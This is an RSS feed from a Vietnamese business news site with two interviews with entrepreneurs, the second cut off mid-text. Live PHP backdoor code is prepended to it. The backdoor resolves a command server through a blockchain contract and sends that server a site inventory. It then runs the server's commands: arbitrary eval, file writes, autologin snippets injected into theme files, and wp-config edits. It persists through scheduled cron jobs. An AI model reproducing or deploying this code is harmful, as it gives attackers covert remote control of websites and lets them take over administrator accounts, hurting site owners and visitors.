// zh_ad if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home/brand/domains/dauantrithucvadoanhnhan.vn/public_html/wp-content/plugins/hseo/hseo.php', 'ctrl'=>'// zh_ad', 'vis'=>'// 78_ka', 'vis_func'=>'wp_nnk4fc', 'vis_paths'=>array('/home/brand/domains/dauantrithucvadoanhnhan.vn/public_html/wp-content/plugins/hseo/hseo.php'), 'opt'=>'_wp_czuyqb9m', ); $keys=array(); $keys['id']='vjx'; $keys['ver']='xa'; $keys['caps']='o4f'; $keys['tasks']='dux'; $keys['interval']='ndx'; $keys['ack_id']='p7c'; $keys['ok']='09'; $keys['detail']='ni7'; $keys['inv']='8dm'; $keys['result']='uzg'; $hdr='X-O9Z-Auth';$tok='ZX74bs-WQvBnMBdRgJOiAsxbO8JcVDaTBmfGMkYCNvY';$id='ff368ecdf81d0386';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Doanh nhân tiêu biểu - Tri thức và Doanh nhân https://dauantrithucvadoanhnhan.vn Tue, 16 Sep 2025 08:09:32 +0000 vi hourly 1 https://wordpress.org/?v=6.1.1 Anh hùng Lao động Nguyễn Quang Mâu: Khẳng định vị thế sản phẩm gốm sứ Việt https://dauantrithucvadoanhnhan.vn/2025/09/anh-hung-lao-dong-nguyen-quang-mau-khang-dinh-vi-the-san-pham-gom-su-viet/?utm_source=rss&utm_medium=rss&utm_campaign=anh-hung-lao-dong-nguyen-quang-mau-khang-dinh-vi-the-san-pham-gom-su-viet https://dauantrithucvadoanhnhan.vn/2025/09/anh-hung-lao-dong-nguyen-quang-mau-khang-dinh-vi-the-san-pham-gom-su-viet/#respond Tue, 16 Sep 2025 08:07:15 +0000 https://dauantrithucvadoanhnhan.vn/?p=3715 Anh hùng Lao động Nguyễn Quang Mâu đã xây dựng thương hiệu Gốm Đất Việt ở tuổi ngoài 60 bằng bản lĩnh và khát vọng không ngừng đổi mới. Trong giới doanh nhân ngành vật liệu xây dựng, doanh nhân Nguyễn Quang Mâu được biết đến không chỉ là một Anh hùng Lao động, mà […]

The post Anh hùng Lao động Nguyễn Quang Mâu: Khẳng định vị thế sản phẩm gốm sứ Việt appeared first on Tri thức và Doanh nhân.

]]> Anh hùng Lao động Nguyễn Quang Mâu đã xây dựng thương hiệu Gốm Đất Việt ở tuổi ngoài 60 bằng bản lĩnh và khát vọng không ngừng đổi mới.

Trong giới doanh nhân ngành vật liệu xây dựng, doanh nhân Nguyễn Quang Mâu được biết đến không chỉ là một Anh hùng Lao động, mà còn là người đặt nền móng và thắp lửa cho thương hiệu Gốm Đất Việt – tổ hợp doanh nghiệp tiên phong trong ứng dụng khoa học kỹ thuật vào sản xuất gạch ngói đất sét nung tại Việt Nam.

Khởi nghiệp khi đã ở tuổi ngoài 60, AHLĐ Nguyễn Quang Mâu đã cùng các cộng sự xây dựng thương hiệu Gốm Đất Việt từ những tấn đất thải tưởng chừng bỏ đi. Từ đó, phát triển thành một thương hiệu Việt mạnh mẽ, sở hữu công nghệ “nghiền khô siêu mịn” đầu tiên trên thế giới, được quốc tế công nhận và trao nhiều giải thưởng danh giá.

Phóng viên Báo Công Thương đã có cuộc trò chuyện với ông Nguyễn Quang Mâu – Chủ tịch Hội đồng Quản trị Tổ hợp Gốm Đất Việt để nhìn lại hành trình đầy cảm hứng ấy từ những ngày đầu khởi nghiệp khó khăn, đến dấu mốc khẳng định vị thế của doanh nghiệp Việt trên bản đồ công nghiệp gốm thế giới.

 

AHLĐ Nguyễn Quang Mâu: “Với tôi, Gốm Đất Việt là khát vọng, không chỉ là thương hiệu”

 

Từ thử thách đến đột phá công nghệ: Hành trình bền bỉ của Gốm Đất Việt

– Thưa ông, hành trình từ một người con đất mỏ Quảng Ninh đến vị trí Anh hùng Lao động và Chủ tịch HĐQT Gốm Đất Việt hẳn có nhiều dấu mốc đáng nhớ. Ông có thể chia sẻ câu chuyện hay một kỷ niệm sâu đậm nhất trong chặng đường khởi nghiệp và gây dựng thương hiệu này?

Anh hùng Lao động Nguyễn Quang Mâu: Tôi xuất thân là người làm kỹ thuật, công tác trong ngành gốm sứ từ rất sớm, từng giữ nhiều vị trí quản lý cấp cao tại Gốm xây dựng Hạ Long. Đến khi nghỉ hưu, nhiều người nghĩ tôi sẽ lui về nghỉ ngơi, nhưng thực tế lại hoàn toàn khác. Anh em, đồng nghiệp cũ, thế hệ trẻ trong nghề và cả tôi đều trăn trở: Tại sao mình đã từng làm được, đã có kinh nghiệm, hiểu thị trường, hiểu công nghệ, lại không tiếp tục?

Tôi quyết định nhận lời làm Chủ tịch HĐQT của Công ty CP Gốm Đất Việt ngay sau ngày nghỉ hưu tại Gốm Hạ Long. Chúng tôi bắt đầu từ con số rất thấp, gần như từ đầu và không có ưu đãi lớn về vốn, công nghệ, hay thương hiệu. Chúng tôi khởi nghiệp từ đất phủ, đất thải, những loại đất trước đây bị bỏ đi, không ai khai thác.

Tôi cùng HĐQT đề xuất tận dụng nguồn đất tưởng chừng như “vô giá trị” đó để làm sản phẩm gạch ngói chất lượng cao. Từ đó, Công ty CP Gạch Ngói Đất Việt được thành lập.

Đúng ngày khởi công đầu năm 2010 thì buổi tối ngân hàng đồng loạt tăng lãi suất cho vay. Sau đó là chuỗi biến động của kinh tế thế giới, khiến toàn ngành vật liệu xây dựng rơi vào khó khăn. Sản phẩm của Gốm Đất Việt khi ấy chất lượng tốt, nhưng là thương hiệu mới, chưa ai biết đến, chưa có niềm tin từ người tiêu dùng.

Thời điểm đó có ý kiến cho rằng nên bán nhà máy, dừng sản xuất. Nhưng với tôi, là người lính thời bình, tôi không thể đầu hàng. Không thể để công sức, trí tuệ, khát vọng của cả tập thể tan biến như vậy. Tôi tự nhủ: Mình đã về đây, đã gắn với mảnh đất này thì phải đi tới cùng. Phải giữ đội hình, giữ đội ngũ và tìm ra một con đường đổi mới để tồn tại.

Tôi nhớ lại thời kỳ những năm 1970, khi Đảng và Nhà nước xác định “ba cuộc cách mạng”, trong đó lấy cách mạng khoa học kỹ thuật làm then chốt. Từ đó, tôi đề xuất xây dựng Trung tâm Nghiên cứu để tạo ra bước đột phá. Chúng tôi tập trung nghiên cứu công nghệ nghiền khô siêu mịn – một công nghệ hoàn toàn mới, chưa từng có trong ngành sản xuất gạch ngói ở Việt Nam.

Lúc đầu, chúng tôi thất bại. Sản phẩm nung không đạt, lò nung không phù hợp. Tôi buộc phải tạm dừng dự án, chuyển sang tự động hóa các công đoạn khác để tăng năng suất, giảm lao động. Quá trình đó gian nan, nhưng mỗi cải tiến dù nhỏ cũng tiếp thêm niềm tin.

Không dừng lại ở đó, khi công nghệ siêu mịn bắt đầu có kết quả, Gốm Đất Việt liên tiếp đạt nhiều giải thưởng, chứng nhận từ doanh nghiệp khoa học, công nghệ, doanh nghiệp văn hóa, đến nhà máy xanh, sản phẩm xanh. Chúng tôi còn được bạn bè, đồng nghiệp khuyến khích tham gia thi sáng tạo khoa học, công nghệ, thi kỷ lục thế giới và đều đạt giải cao nhất.

Sau hơn một thập kỷ vượt bão, chúng tôi tự hào rằng: Gốm Đất Việt đã trở thành một thương hiệu tầm quốc tế, với nhiều kỷ lục thế giới về sản phẩm gạch và ngói. Nhưng trên hết, đó là minh chứng rằng: Chúng tôi đã biến điều không thể thành có thể bằng chính bản lĩnh và khát vọng của người Việt.

Anh hùng Lao động Nguyễn Quang Mâu chia sẻ với phóng viên Báo Công Thương: “Thái độ phục vụ, môi trường làm việc, trách nhiệm xã hội. Tất cả đều tạo nên thương hiệu”.

Khát vọng và bản lĩnh của người truyền lửa ngành gốm xây dựng Việt Nam

– Lãnh đạo doanh nghiệp trong giai đoạn cạnh tranh toàn cầu không chỉ cần tầm nhìn chiến lược mà còn cần bản lĩnh vượt khó. Ông rút ra bài học quý giá nào cho chính mình và cho thế hệ trẻ hôm nay?

Anh hùng Lao động Nguyễn Quang Mâu: Thời đại hôm nay là thời đại của hội nhập toàn cầu, là cuộc chơi của kỹ thuật số và trí tuệ nhân tạo (AI). Muốn tồn tại không thể chỉ làm “tốt hơn người khác” mà phải đổi mới mạnh mẽ hơn, sáng tạo sâu hơn và đi trước họ một bước.

Tôi luôn nhấn mạnh: Cạnh tranh thời hiện đại là cạnh tranh bằng năng suất, bằng chất lượng, bằng giá trị sử dụng, giá thành và đặc biệt là bằng văn hóa doanh nghiệp. Thái độ phục vụ, môi trường làm việc, trách nhiệm xã hội. Tất cả đều tạo nên thương hiệu.

Từ bài học thực tiễn tại Gốm Đất Việt, tôi rút ra một điều: Khó khăn là thật, nhưng tinh thần đổi mới là cốt lõi. Chúng tôi sống sót qua thời kỳ kinh tế trì trệ vì chúng tôi không ngừng đầu tư vào khoa học kỹ thuật, công nghệ nghiền siêu mịn. Đây là công nghệ đầu tiên trên thế giới, được Tổ chức Sở hữu trí tuệ thế giới (WIIPA) trao Huy chương Vàng là minh chứng cụ thể.

Và điều lớn nhất tôi muốn nhắn gửi thế hệ trẻ là: Phải có đam mê, có khát vọng, có lòng tự tôn và tự tin dân tộc. Nếu không yêu dân tộc mình, yêu ngành nghề mình thì không thể sáng tạo, không thể bền bỉ trước khó khăn. Phải dám vượt lên chính mình, dám sống với khát vọng lớn lao.

– Được nhiều người ví như “người truyền lửa” trong ngành gốm xây dựng, ông mong muốn để lại di sản lớn nhất nào cho Gốm Đất Việt cũng như cho ngành vật liệu xây dựng Việt Nam trong tương lai?

Anh hùng Lao động Nguyễn Quang Mâu: Tôi không chỉ mong muốn để lại một dây chuyền sản xuất hay vài công nghệ tiên tiến. Điều tôi mong muốn để lại là một mô hình phát triển toàn diện về con người, công nghệ và văn hóa.

Hiện nay, Gốm Đất Việt đã hình thành hệ thống ba công ty độc lập: Hai nhà máy chuyên môn hóa sản xuất và một công ty chuyên kinh doanh, xuất nhập khẩu. Ba chân kiềng ấy tạo nên một cấu trúc vững chắc. Mỗi đơn vị tự hạch toán nhưng liên kết chiến lược. Đây là sự chuyên môn hóa đúng hướng, giúp tối ưu hóa năng lực cốt lõi.

Về dài hạn, di sản tôi muốn xây là một doanh nghiệp đi đầu trong sản xuất tuần hoàn, chuyển đổi số và nhân văn. Chúng tôi đang đào tạo nguồn nhân lực chất lượng cao không chỉ giỏi kỹ thuật, mà còn biết sử dụng AI, hiểu logistics, vận hành chuỗi cung ứng thông minh, sử dụng livestream và thương mại điện tử để bán hàng từ nhà máy đến tay người tiêu dùng.

Trên hết, tôi mong muốn Gốm Đất Việt sẽ luôn là cánh chim đầu đàn, một doanh nghiệp mang khát vọng dân tộc, truyền cảm hứng đổi mới, hội nhập quốc tế mà vẫn gìn giữ bản sắc. Như Tổng Bí thư Tô Lâm đã nói: “Cả đất nước vươn mình vì hùng cường và thịnh vượng” thì Gốm Đất Việt cũng phải vươn mình, phải cất cánh, như cách tôi đã làm từ những ngày đầu khởi nghiệp.

– Xin trân trọng cảm ơn ông về cuộc trò chuyện đầy tâm huyết!

Nguồn: Gốm Đất Việt

Trải qua 15 năm xây dựng và phát triển, Gốm Đất Việt đã khẳng định vị thế tiên phong trong ngành gốm xây dựng Việt Nam bằng mô hình sản xuất tuần hoàn, chuyên môn hóa và đổi mới công nghệ toàn diện. Doanh nghiệp là đơn vị đầu tiên trên thế giới làm chủ thành công công nghệ “nghiền khô siêu mịn” và được Tổ chức Sở hữu trí tuệ thế giới (WIIPA) trao Huy chương Vàng. Liên tiếp giành Cúp đặc biệt tại Triển lãm Sáng tạo Quốc tế Seoul (Hàn Quốc), xác lập nhiều kỷ lục thế giới cho viên gạch và ngói đất sét nung, Gốm Đất Việt trở thành niềm tự hào của ngành vật liệu xây dựng Việt Nam trên bản đồ quốc tế. Không chỉ dẫn đầu về công nghệ, doanh nghiệp còn được công nhận là doanh nghiệp khoa học – công nghệ, doanh nghiệp văn hóa, nhà máy xanh – sản phẩm xanh, với tầm nhìn phát triển bền vững, thân thiện môi trường và gắn kết cộng đồng.

The post Anh hùng Lao động Nguyễn Quang Mâu: Khẳng định vị thế sản phẩm gốm sứ Việt appeared first on Tri thức và Doanh nhân.

]]> https://dauantrithucvadoanhnhan.vn/2025/09/anh-hung-lao-dong-nguyen-quang-mau-khang-dinh-vi-the-san-pham-gom-su-viet/feed/ 0 Ông Johnathan Hạnh Nguyễn: “Tôi còn một nhiệm vụ muốn hoàn thành” https://dauantrithucvadoanhnhan.vn/2025/04/ong-johnathan-hanh-nguyen-toi-con-mot-nhiem-vu-muon-hoan-thanh/?utm_source=rss&utm_medium=rss&utm_campaign=ong-johnathan-hanh-nguyen-toi-con-mot-nhiem-vu-muon-hoan-thanh https://dauantrithucvadoanhnhan.vn/2025/04/ong-johnathan-hanh-nguyen-toi-con-mot-nhiem-vu-muon-hoan-thanh/#respond Fri, 04 Apr 2025 03:46:22 +0000 https://dauantrithucvadoanhnhan.vn/?p=3697 Bốn thập kỉ sau quyết định từ bỏ cuộc sống đủ đầy ở Mỹ để về nước, ông Johnathan Hạnh Nguyễn trải lòng về khoảnh khắc suýt mất con, những thương vụ lịch sử và nỗi nuối tiếc lớn nhất trong sự nghiệp.  Nhân dịp 50 năm thống nhất đất nước, VnExpress thực hiện chuỗi […]

The post Ông Johnathan Hạnh Nguyễn: “Tôi còn một nhiệm vụ muốn hoàn thành” appeared first on Tri thức và Doanh nhân.

]]> Bốn thập kỉ sau quyết định từ bỏ cuộc sống đủ đầy ở Mỹ để về nước, ông Johnathan Hạnh Nguyễn trải lòng về khoảnh khắc suýt mất con, những thương vụ lịch sử và nỗi nuối tiếc lớn nhất trong sự nghiệp. 

Nhân dịp 50 năm thống nhất đất nước, VnExpress thực hiện chuỗi phỏng vấn những trí thức, doanh nhân từng ra nước ngoài học tập, làm việc, đạt được thành công, sau đó trở về đóng góp cho đất nước. Ông Johnathan Hạnh Nguyễn là một trong những nhân vật như vậy. Trong cuộc trò chuyện này, ông chia sẻ về hành trình trở về, những bài học sau 40 năm kinh doanh, tâm tư về sự phát triển của đất nước, cũng như những kế hoạch lớn trong giai đoạn sắp tới.

– Năm 1975, khi đất nước thống nhất, ông đang ở Mỹ. Ông đón nhận tin này như thế nào?

– Khi đó tôi đang đi du học. Mặc dù rất vui vì đất nước đã thống nhất, nhưng tôi cũng có chút buồn vì bị cắt các nguồn tài trợ, phải tự xoay xở để hoàn thành việc học.

Dịp này cũng là kỷ niệm 40 năm kể từ khi tôi nhận nhiệm vụ đặc biệt cho quê hương.

Lúc đó, tôi đang làm thanh tra tài chính cho Boeing ở Mỹ. Năm 1985, khi Việt Nam đang chịu lệnh cấm vận, tôi nhận cuộc gọi từ Văn phòng đại diện Việt Nam tại Liên Hợp Quốc, mời về thăm gia đình.

Đồng ý trở về nhưng tới quê vợ ở Philippines, chúng tôi vẫn chần chừ. Linh tính mách bảo chuyến đi sẽ không dễ dàng.

Quả thật, ngay đêm đầu tiên ở Việt Nam, hai đứa nhỏ nhà tôi nhập viện vì sốt xuất huyết. Bấy giờ dịch đang hoành hành khắp miền Nam nhưng thuốc men thiếu thốn.

Bác sĩ trách tôi: “Tại sao lại đem hai cháu nhỏ về lúc này? Thuốc hạ sốt cũng không có, đừng nói tới việc điều trị”. Đêm đó, vợ chồng tôi thức trắng chữa cho con bằng biện pháp dân gian: cắt chanh chà lên người. Nửa đêm, ở phòng bên cạnh, một người mẹ thét lên: “Anh ơi, con chết rồi!”. Đứa trẻ đó cũng bị sốt xuất huyết.

Tôi lặng người. Hai vợ chồng lại ra sức chà chanh. May mắn, đến 8h sáng hôm sau, hai con hạ sốt. Vợ tôi lập tức bế chúng về Philippines. Tôi bị cả gia đình mắng vì quyết định của mình.

Ông Johnathan Hạnh Nguyễn bật khóc khi nhớ lại tiếng thét của bà mẹ mất con vì sốt xuất huyết năm 1985.

Ngay sau đó, tôi nhận lời mời về nước lần thứ hai. Tôi quyết định gửi vợ con cho ông bà, một mình quay lại Việt Nam.

Ra Hà Nội gặp bác Phạm Văn Đồng, Thủ tướng lúc bấy giờ, tôi được đề nghị “giúp Việt Nam mở được đường bay với Philippines”. Đó là đường bay quốc tế đầu tiên. Trước đó, Chính phủ đã lập danh sách những người có chuyên môn về hàng không và tôi là lựa chọn đầu tiên vì cũng có chút chức vụ ở Boeing.

Lúc này tôi đứng trước hai quyết định. Một là về Mỹ, sống tiếp cuộc đời đủ đầy, hai là gửi lại bà xã và hai con ở Manila, một mình về Việt Nam. Tôi đã chọn phương án có lỗi với gia đình, chấp nhận hai đứa nhỏ thiếu thốn tình cha.

Nhận nhiệm vụ không biết ngày hoàn thành, xác định bỏ hẳn cuộc sống bên Mỹ, tôi thanh lý tất cả nhà cửa, xe cộ… để không còn vướng bận.

– Quyết định bỏ lại tất cả sau 15 năm gây dựng sự nghiệp ở Mỹ, khi đó gia đình ông phản ứng thế nào?

– Vợ tôi – Tina – thấm thía nỗi đau của hàng nghìn bà mẹ khác, nhìn con mắc bệnh không thuốc chữa. Cô ấy đã ủng hộ. Đến giờ tôi vẫn biết ơn cô ấy. Mọi người cũng đồng cảm với nỗi đau đáu về quê hương, về cội nguồn của tôi.

– Nhận nhiệm vụ mở đường bay quốc tế đầu tiên cho Việt Nam, ông đã làm như thế nào để có được giấy phép bay với Philippines?

– Trở lại Manila, tôi bắt đầu vận động mọi mối quan hệ để xin giấy phép bay. Trong hai ngày, tôi đi tất cả 12 cơ quan, bộ, ngành nhưng đều bị từ chối. Philippines khi đó là đồng minh của Mỹ, và Tổng thống Marcos đã có lệnh không chấp nhận bất kỳ đơn xin mở đường bay nào từ Việt Nam.

Không thể tiếp cận qua kênh ngoại giao chính thức, tôi phải nhờ đến mối quan hệ gia đình qua bà xã – là cháu của phu nhân Tổng thống Marcos. Trước khi đi gặp, tôi đã dặn ông Trần Tiến Vinh, Đại biện lâm thời Việt Nam tại Philippines rằng, nếu tôi không trở về, hãy báo tin cho vợ tôi và nhờ bảo lãnh.

19h30 hôm đó, tôi cùng ông Vinh đến dinh Tổng thống. Đại tá quân đội và bà Leita – trợ lý đồng thời là em vợ Tổng thống Marcos, nhận đơn nhưng không dám trình lên. Họ để tôi tự vào gặp.

Đứng trước cửa phòng, tôi căng thẳng tột độ. Nhưng nhớ đến tiếng khóc xé lòng của người mẹ mất con, tôi bước tiếp. Khi tôi đẩy cửa vào, Tổng thống Marcos đang ngồi bên bàn, dưới ánh đèn mờ. Tôi rón rén đặt đơn lên bàn. Bất ngờ, ông cầm bút ký “Approve – ngày 4/9/1985” mà không hỏi gì.

Tôi cầm lấy tờ giấy, muốn lao ngay ra ngoài nhưng đầu gối bủn rủn, chân nặng trịch. Quãng đường tới cửa chỉ 3 m nhưng như dài vô tận. Tôi lo chậm vài giây, Tổng thống sẽ đổi ý.

Vừa đặt chân tới mép cửa, tôi chạy thẳng ra xe nhưng thót tim lần hai vì thư ký Tổng thống gọi giật lại. Hoá ra cần thêm phê duyệt của người này cùng Chánh thanh tra, quyết định ấy mới có hiệu lực.

Giờ nghĩ lại, tôi vẫn nợ Tổng thống Marcos một ơn tình mà không biết lúc nào có thể trả.

Đêm đó, tin báo “anh Hạnh đã hoàn thành sứ mệnh” gửi về nhà, các lãnh đạo ôm nhau xúc động. Đây không chỉ là một tờ giấy phép mà là cánh cửa mở cho Việt Nam vươn ra thế giới.

– Vì sao ông chấp nhận đánh đổi như vậy?

– Tôi không thể quên tiếng thét của người mẹ mất con trong bệnh viện. Hai đứa nhỏ của tôi từng đối mặt với cái chết, khi máu chảy ra từ mắt, mũi, răng… Đau xót vô cùng. Ngoài kia còn trăm nghìn đứa trẻ khác hấp hối vì không thuốc.

Tôi cũng ám ảnh khi báo đài đưa tin nhiều người đánh cược tính mạng, giấu vàng, đô la đi vượt biên, vô tình biến mình thành mục tiêu của hải tặc. Tôi không muốn nhìn người Việt phải rời bỏ quê hương vì lý do kinh tế.

– Sau khi hoàn thành nhiệm vụ Chính phủ giao, các chuyến bay đầu tiên đã diễn ra như thế nào, thưa ông?

– Ngay khi có giấy phép, tôi đề nghị Sở Y tế cung cấp danh sách các loại thuốc cấp thiết nhất. Vì suýt mất con trong gang tấc, tôi tự bỏ tiền mua thuốc đưa về nước trong những chuyến bay đầu tiên.

